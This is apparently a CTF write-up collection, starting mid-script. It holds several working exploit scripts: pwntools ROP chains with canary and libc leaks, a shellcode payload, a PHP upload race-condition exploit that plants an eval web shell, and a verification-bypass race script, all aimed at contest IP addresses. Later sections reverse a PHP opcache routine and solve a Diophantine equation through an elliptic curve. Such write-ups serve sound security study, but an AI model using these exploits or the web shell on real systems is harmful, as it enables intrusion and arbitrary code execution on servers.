senddata s, copy_buf(0xdead1004, 0xdead1112) # dead1114: b
senddata s, sub_buf(0xdead1104, 0xdead1114, 0xdead1100) # dead1100: c
# 2byte目
senddata s, copy_buf(0xdead1000, 0xdead1123) # dead1124: a
senddata s, copy_buf(0xdead1004, 0xdead1133) # dead1134: b
senddata s, write_buf(0xdead1125, 0) + write_buf(0xdead1135, 0)
senddata s, sub_buf(0xdead1124, 0xdead1134, 0xdead1120) # dead1120: c
# 3byte目
senddata s, copy_buf(0xdead1000, 0xdead1144) # dead1124: a
senddata s, copy_buf(0xdead1004, 0xdead1154) # dead1134: b
senddata s, write_buf(0xdead1145, 0) +write_buf(0xdead1146, 0) + write_buf(0xdead1155, 0)+ write_buf(0xdead1156, 0)
senddata s, sub_buf(0xdead1144, 0xdead1154, 0xdead1140) # dead1120: c
# carry out
senddata s, carry(0xdead1154, 0xdead1140, 0xdead1120)
senddata s, add_buf(0xdead1100, 0xdead1200, 0xdead1180)
senddata s, carry(0xdead1134, 0xdead1120, 0xdead1180)
# copy
senddata s, add_buf(0xdead1180, 0xdead1200, 0xdead1802)
senddata s, add_buf(0xdead1120, 0xdead1200, 0xdead1801)
senddata s, add_buf(0xdead1140, 0xdead1200, 0xdead1800)
# s.print @sendd
s.print "\0" * 32
s.flush
s.print shellcode +' ' * 95
a = s.read(4)
if a && a == '39ML'
p '39!'
complete = false
ts = []
ts << Thread.start do
while fn = STDIN.gets
s.print fn.strip + "\0" + "\0" * 256
s.flush
end
end
ts <<= Thread.start do
begin
while a = s.read(1)
print a
end
rescue=>e
STDERR.puts e, e.backtrace
end
p 'thread done'
end
ts.each(&:join)
end
s.close
rescue => e
STDERR.puts e, e.backtrace
end
end
end
end
ts.each(&:join)
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests, json, commands
import struct, socket, sys, telnetlib, os, signal, select, time
real_argv = list(sys.argv)
from pwn import * # kasu
context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
HOST = '202.120.7.203'
PORT = 666
isremote = True
if isremote:
conn = remote(HOST,PORT)
else:
conn = remote("localhost",4040)
"""
conn = gdb.debug(['./blackhole'], '''set env LD_PRELOAD=./libc-2.24.so
start''')
"""
sol = conn.readline()
log.info(sol)
ans = commands.getoutput('ruby ./pow.rb ' + sol.replace('\n','')).replace('\n','')[-4:]
log.info(ans)
conn.send(ans)
'''
400a30: 4c 89 ea mov %r13,%rdx
400a33: 4c 89 f6 mov %r14,%rsi
400a36: 44 89 ff mov %r15d,%edi
400a39: 41 ff 14 dc callq *(%r12,%rbx,8)
400a3d: 48 83 c3 01 add $0x1,%rbx
400a41: 48 39 eb cmp %rbp,%rbx
400a44: 75 ea jne 400a30 <__libc_start_main@plt+0x2f0>
400a46: 48 83 c4 08 add $0x8,%rsp
400a4a: 5b pop %rbx
400a4b: 5d pop %rbp
400a4c: 41 5c pop %r12
400a4e: 41 5d pop %r13
400a50: 41 5e pop %r14
400a52: 41 5f pop %r15
400a54: c3 retq
400a55: 90 nop
400a56: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
'''
'''
alarm+5 == syscall
partial overwrite -> got -> syscall, int 0x80
csu_init(arg 3) + set rax with read()
'''
pop_rsi_ret = 0x00400a51 #: pop rsi ; pop r15 ; ret ; (1 found)
pop_rdi_ret = 0x00400a53 #: pop rdi ; ret ; (1 found)
libc_csu_init = 0x400a30
libc_csu_init_ret = 0x400a4a
log.info('Pwning')
buf = 'A'*40
#shellcode buffer
buf += p64(pop_rsi_ret) + p64(0x601060) + p64(0xdeadbeef)
buf += p64(pop_rdi_ret) + p64(0)
buf += p64(0x400730)
#partial ovewrite to syscall return-to-csu attack
buf += p64(0x400a4a) + p64(0) + p64(1) + p64(0x601048) + p64(1) + p64(0x601040) + p64(0)
buf += p64(0x400a30) + p64(0xdeadbeef)
#return to vuln
buf += p64(0)*6 + p64(0x4009A7)
#read and set rax=10. place is anywhere ok.
buf2 = 'A'*40
buf2 += p64(0x400a4a) + p64(0) + p64(1) + p64(0x601048) + p64(10) + p64(0x601f00) + p64(0)
buf2 += p64(0x400a30) + p64(0xdeadbeef)
#call mprotect
buf2 += p64(0) + p64(1) + p64(0x601040) + p64(0x7) + p64(0x1000) + p64(0x601000)
buf2 += p64(0x400a30) + p64(0xdeadbeef)
buf2 += p64(0)*6 + p64(0x601060)
assert(len(buf) <= 0x100)
assert(len(buf2) <= 0x100)
#raw_input('debug')
#conn.write(buf.ljust(256,'B'))
xyz = buf.ljust(256,'B')
#raw_input('debug')
check = real_argv[1]
shellcode = asm("""
mov rdi,0x60115c
xor rsi,rsi
mov rax,0x2
syscall
mov rdi,rax
mov rsi,0x601000
mov rdx,0x60
mov rax,0
syscall
cmp byte ptr[0x601000+"""+str(len(check)-1)+"""],"""+str(ord(check[-1]))+"""
jne crash
loop:
jmp loop
crash:
xor rax,rax
mov byte ptr [rax],0
""")
assert(len(shellcode) <= 0xfc)
shellcode = shellcode.ljust(0xfc,'A')
shellcode += 'flag'
#conn.write(shellcode.ljust(256,'A'))
xyz += shellcode.ljust(256,'A')
#raw_input('debug')
#conn.write('\x05')
if isremote:
xyz += '\x85'
else:
xyz += '\x05'
#raw_input('debug')
#conn.write(buf2.ljust(256,'C'))
xyz += buf2.ljust(256,'C')
#raw_input('debug')
#conn.write('A'*10)
xyz += 'A'*10
conn.send(xyz.ljust(0x800,'A'))
conn.interactive()
main process
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests, json, commands
import struct, socket, sys, telnetlib, os, signal, select, time
from pwn import * # kasu
context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
HOST = '104.236.0.107'
#HOST = '202.120.7.193'
PORT = 11111
print sys.argv
if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST,PORT)
else:
conn = remote("localhost",4040)
"""
conn = gdb.debug(['./house_of_c4rd'], '''set env LD_PRELOAD=./libc.so.6
set env REMOTE_HOST=127.0.0.1
c''')
"""
conn.recvuntil('>')
conn.writeline('1')
conn.recvuntil('Enter file name:')
conn.writeline('AAAA')
conn.recvuntil('>')
conn.writeline('3')
conn.recvuntil('Size data>')
conn.writeline('-1')
conn.recvuntil('Data>')
conn.writeline('A'*1032) #send 1033byte -> leak canary
conn.recvuntil('Key>')
conn.writeline('K'*15)
log.info("Leak canary from another connection! (Another Global IP)")
canary = int(raw_input('canary hex(leak) = '),16)
libc_base = int(raw_input('libc_base hex(leak) = '),16)
conn.recvuntil('>')
conn.writeline('1')
conn.recvuntil('Enter file name:')
conn.writeline('AAAA')
conn.recvuntil('>')
conn.writeline('3')
conn.recvuntil('Size data>')
conn.writeline('-1')
conn.recvuntil('Data>')
one_gadget_offset = 0x4526a
rop = p64(libc_base + one_gadget_offset)*4 + p64(0)*100
conn.writeline(p64(canary)*(1032/8) + p64(canary)*2 + rop)
conn.recvuntil('Key>')
conn.writeline('KEY')
conn.recvuntil('>')
conn.writeline('4')
conn.interactive()
sub process for leak canary (from another global IP)
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests, json, commands
import struct, socket, sys, telnetlib, os, signal, select, time
from pwn import * # kasu
context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
HOST = '104.236.0.107'
PORT = 11111
if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST,PORT)
else:
conn = remote("localhost",4040)
"""
conn = gdb.debug(['./house_of_c4rd'], '''set env LD_PRELOAD=./libc.so.6
set env REMOTE_HOST=127.0.0.1
c''')
"""
conn.recvuntil('>')
conn.writeline('1')
conn.recvuntil('Enter file name:')
conn.writeline('PPPP')
conn.recvuntil('>')
conn.writeline('3')
conn.recvuntil('Size data>')
conn.writeline('-1')
conn.recvuntil('Data>')
#tyousei is needed
raw_input('debug')
conn.writeline("/.."*1100 + "/sandbox/119.104.102.192/\0") #send 1025byte -> leak canary
conn.recvuntil('Key>')
conn.writeline('KEY')
conn.recvuntil('>')
conn.writeline('2')
conn.recvuntil('Enter file name:')
conn.writeline('AAAA')
conn.recvuntil('>')
conn.writeline('3')
conn.recvuntil('Enter key>')
conn.writeline('K'*15)
conn.recvuntil('A'*1032)
canary = u64('\0'+conn.recv(8)[1:])
log.info('Canary : ' + hex(canary))
_ = conn.recv(8) # leak PIE
libe_start_main_ret_offset = 0x20830
libc_base = u64(conn.recv(8)) - libe_start_main_ret_offset # libc leak
log.info('libc base : ' + hex(libc_base))
the source code is available at http://202.120.7.217:9527/
<?php
error_reporting(1);
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}
function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'scan':
foreach (scandir($dir) as $file) {
echo $file . PHP_EOL;
}
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
die('name empty');
break;
}
if ($_FILES['file']['size'] > 100000) {
clear($dir);
die('file size > 100000');
break;
}
$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
echo pathinfo($name)["extension"] . PHP_EOL;
die('extension check');
break;
}
var_dump(move_uploaded_file($_FILES['file']['tmp_name'], $name));
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}
there is a way to bypass extension filter and race condition to upload arbitrary index.php
with a name filename.php/.
, I can upload file as filename.php
.
it bypasses the extension filter so that I could upload any php script except index.php
.
thanks to scandir
and it takes a little time to delete all files under sandbox, I can abuse the race condition to upload index.php
.
the strategy was succeeded at 19th trying with following script:
import requests
import threading
import concurrent.futures
url = "http://202.120.7.217:9527"
sess = requests.Session()
def pwd():
req = sess.get(url, params={'action': 'pwd'})
return req.text
def upload(name, body):
req = sess.post(url, params={'action': 'upload', 'name': name}, files={'file': open('e.php')})
def shell():
req = sess.get(url, params={'action': 'shell'})
return req.text
def reset():
req = sess.get(url, params={'action': 'reset'})
phpcode = """
yo
<?php
var_dump(eval($_GET['x']));
"""
def attack():
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
for i in range(50):
executor.submit(upload, 'a{}'.format(i), '')
executor.submit(upload, 'z{}'.format(i), '')
executor.shutdown(wait=True)
t1 = threading.Thread(target=reset)
t2 = threading.Thread(target=upload, args=('index.php/.', phpcode, ))
t1.start()
t2.start()
t1.join()
t2.join()
if 'yo' in shell():
return True
return False
cnt = 0
while True:
print('trying: {}'.format(cnt))
res = attack()
if res:
print('found')
break
cnt += 1
print(pwd())
then, there is strange file named 93f4c28c0cf0b07dfd7012dca2cb868cc0228cad
under /var/www/html/flag
, which is something like php opcache.
inspecting the opcache header, I found the lack of \x00
at 8th byte.
the opcache_disassembler.py worked with pip package construct
ver. 2.9.23 and got following instructions:
function encrypt() {
#0 !0 = RECV(None, None);
#1 !0 = RECV(None, None);
#2 DO_FCALL_BY_NAME(None, 'mt_srand');
#3 SEND_VAL(1337, None);
#4 (129)?(None, None);
#5 ASSIGN(!0, '');
#6 (121)?(!0, None);
#7 ASSIGN(None, None);
#8 (121)?(!0, None);
#9 ASSIGN(None, None);
#10 ASSIGN(None, 0);
#11 JMP(->-24, None);
#12 DO_FCALL_BY_NAME(None, 'chr');
#13 DO_FCALL_BY_NAME(None, 'ord');
#14 FETCH_DIM_R(!0, None);
#15 (117)?(None, None);
#16 (129)?(None, None);
#17 DO_FCALL_BY_NAME(None, 'ord');
#18 MOD(None, None);
#19 FETCH_DIM_R(!0, None);
#20 (117)?(None, None);
#21 (129)?(None, None);
#22 BW_XOR(None, None);
#23 DO_FCALL_BY_NAME(None, 'mt_rand');
#24 SEND_VAL(0, None);
#25 SEND_VAL(255, None);
#26 (129)?(None, None);
#27 BW_XOR(None, None);
#28 SEND_VAL(None, None);
#29 (129)?(None, None);
#30 ASSIGN_CONCAT(!0, None);
#31 PRE_INC(None, None);
#32 IS_SMALLER(None, None);
#33 JMPNZ(None, ->134217662);
#34 DO_FCALL_BY_NAME(None, 'encode');
#35 (117)?(!0, None);
#36 (130)?(None, None);
#37 RETURN(None, None);
}
function encode() {
#0 RECV(None, None);
#1 ASSIGN(None, '');
#2 ASSIGN(None, 0);
#3 JMP(->-81, None);
#4 DO_FCALL_BY_NAME(None, 'dechex');
#5 DO_FCALL_BY_NAME(None, 'ord');
#6 FETCH_DIM_R(None, None);
#7 (117)?(None, None);
#8 (129)?(None, None);
#9 (117)?(None, None);
#10 (129)?(None, None);
#11 ASSIGN(None, None);
#12 (121)?(None, None);
#13 IS_EQUAL(None, 1);
#14 JMPZ(None, ->-94);
#15 CONCAT('0', None);
#16 ASSIGN_CONCAT(None, None);
#17 JMP(->-96, None);
#18 ASSIGN_CONCAT(None, None);
#19 PRE_INC(None, None);
#20 (121)?(None, None);
#21 IS_SMALLER(None, None);
#22 JMPNZ(None, ->134217612);
#23 RETURN(None, None);
}
#0 ASSIGN(None, 'input_your_flag_here');
#1 DO_FCALL_BY_NAME(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', None);
#3 (117)?(None, None);
#4 (130)?(None, None);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, ->-136);
#7 ECHO('Congratulation! You got it!', None);
#8 EXIT(None, None);
#9 ECHO('Wrong Answer', None);
#10 EXIT(None, None);
and it roughly reversed to
<?php
function encrypt($data, $key) {
mt_srand(1337);
$s = "";
for($idx=0;$idx<strlen($data);$idx++) {
$s .= chr(ord($data[$idx]) ^ ord($key[$idx%strlen($key)]) ^ mt_rand(0, 255)&0xff);
}
return encode($s);
}
function encode($data) {
$s = "";
for($i=0;$i<strlen($data);$i++) {
$c = dechex(ord($data[$i]));
if (strlen($c) == 1) {
$c = '0' . $c;
}
$s .= $c;
}
return $s;
}
$flag = 'flag{';
if (encrypt($flag, 'this_is_a_very_secret_key') === '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab') {
echo 'Congratulation! You got it!';
}
else {
echo 'Wrong Answer';
}
this is simple encryption algorithm and mt_rand
state is recoverable.
I think following script will show me the flag but IT TOOK HOURS DUE TO DIFFERENCE OF mt_rand
ENVIRONMENT (NOT 7.0.28 in phpinfo.txt, BUT >=7.1).
<?php
function decrypt($data, $key) {
mt_srand(1337);
$idx = 0;
$s = "";
$data = hex2bin($data);
for($i=0;$i<strlen($data);$i++) {
$s .= chr(ord($data[$i]) ^ ord($key[$i%strlen($key)]) ^ mt_rand(0, 255));
}
return $s;
}
echo decrypt('85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab', 'this_is_a_very_secret_key') . PHP_EOL;
it was very very black box testing.
the HEAD request with verification code was sent to the host, so I have to disguise as 8.8.8.8
but it is impossible.
With many trying with register, verify, update and verify, finally I found the race condition bug in last 7 minutes with doing verify and update simultaneously.
# coding: utf-8
import requests
from multiprocessing import Process
import proofofwork
url = "http://202.120.7.196:2333"
def randstr(n=8):
import random
import string
chars = string.ascii_letters + string.digits
return ''.join([random.choice(chars) for _ in range(n)])
def register(username, password, phone, sess):
data = {
'username': username,
'password': password,
'phone': phone,
'submit': '',
}
req = sess.post(url+'/register.php', data=data)
return req
def login(username, password, sess, verbose=False):
data = {
'username': username,
'password': password,
'submit': '',
}
req = sess.post(url+'/login.php', data=data)
if verbose:
print(req.text)
return req
def verify(code, sess, verbose=False):
data = {
'code': code,
'submit': '',
}
req = sess.post(url+'/verify.php', data=data)
if verbose:
print(str(sess.cookies)+' '+req.text)
return req
def create_user():
sess = requests.session()
# sess
sess.get(url+'/login.php')
username = randstr()
register(username, username, '{}.mydomain'.format(username), sess)
code = raw_input('code ({}): '.format(username)).strip()
verify(code, sess)
return username
def change(phone, sess):
req = sess.get(url+'/change.php')
cap = req.text.split("(substr(md5($str), 0, 6) === '")[1].split("'). <")[0].encode('utf-8')
print(repr(cap))
task = proofofwork.md5(cap)
data = {
'task': task,
'phone': phone,
}
req = sess.post(url+'/change.php', data=data)
print(req.text)
return req
def do_change(phone, task, sess, verbose=False):
data = {
'task': task,
'phone': phone,
}
req = sess.post(url+'/change.php', data=data)
if verbose:
print(req.text)
return req
def solve_task(sess):
req = sess.get(url+'/change.php')
task = req.text.split("(substr(md5($str), 0, 6) === '")[1].split("'). <")[0].encode('utf-8')
cap = proofofwork.md5(task)
return cap
if __name__ == '__main__':
u = create_user()
print('u: {}'.format(u))
s1 = requests.session()
s2 = requests.session()
login(u, u, s1)
login(u, u, s2)
task1 = solve_task(s1)
task2 = solve_task(s2)
do_change('mydomain', task1, s1)
code = raw_input('code: ').strip()
p1 = Process(target=verify, args=(code, s1, True))
p2 = Process(target=do_change, args=('8.8.8.8', task2, s2, True))
p1.start()
p2.start()
p1.join()
p2.join()
both verifying and update request is accepted and could login without 8.8.8.8
verifying.
By analyzing the program we obtained the following constraint equation.
from z3 import *
def func_add(a1, a2):
return a1 + a2
def func_mul(a1, a2):
return a1 * a2
s = Solver()
xs = [Int("x%d" % i) for i in range(3)]
t24 = xs[0]
t26 = xs[1]
t28 = xs[2]
t50 = func_add(t24, t26)
t51 = func_add(t24, t28)
t52 = func_add(t26, t28)
t53 = func_mul(t50, t51)
t54 = func_mul(t53, t24)
t55 = func_mul(t50, t52)
t56 = func_mul(t55, t26)
t57 = func_mul(t51, t52)
t58 = func_mul(t57, t28)
t59 = func_add(t56, t58)
t60 = func_add(t54, t59)
t64 = func_mul(t51, t52)
t65 = func_mul(t50, t64)
t66 = func_mul(10, t65)
s.add(t60 == t66)
for i in range(3):
s.add(xs[i] > 0)
r = s.check()
if r == sat:
m = s.model()
for i in range(3):
print m[xs[i]].as_long()
else:
print '===='
print r
print '===='
The above equation is equivalent to the following equation.
We got non-trivial but non-positive solution by bruteforcing. We converted a non-positive solution to a positive solution with an elliptic curve.
Simplify the equation.
Then, divide by and replace and with and .
Our goal is to solve the equation with positive rational .
So,
We substitute ,
Divide by ,
Furthermore, we substitute .
Now, we got an elliptic curve in Weierstrass form! We can generate another rational point with the group over the elliptic curve. With PARI/GP, 13 times multiplication:
E=ellinit([0, 7/8, 0, -12025/995328, 105625/2579890176])
u(x,y,z) = (x/z+y/z)/2
v(x,y,z) = (x/z-y/z)/2
w(x,y,z) = 24*u(x,y,z)-1
p(x,y,z) = -325/1728/w(x,y,z)
q(x,y,z) = 325/1728*v(x,y,z)/w(x,y,z)
P=ellpow(E, [p(9,19,-7), q(9,19,-7)], 13)
p1=P[1]
q1=P[2]
w1=-325/1728/p1
v1=q1*w1/(325/1728)
u1=(w1+1)/24
x1=u1+v1
y1=u1-v1
Thus, we got a positive solution:
x=269103113846520710198086599018316928810831097261381335767926880507079911347095440987749703663156874995907158014866846058485318408629957749519665987782327830143454337518378955846463785600977
y=221855981602380704196804518854316541759883857932028285581812549404634844243737502744011549757448453135493556098964216532950604590733853450272184987603430882682754171300742698179931849310347
z=4862378745380642626737318101484977637219057323564658907686653339599714454790559130946320953938197181210525554039710122136086190642013402927952831079021210585653078786813279351784906397934209
We got the flag with diffing wikipedia and a message of nc 202.120.7.211 8719
.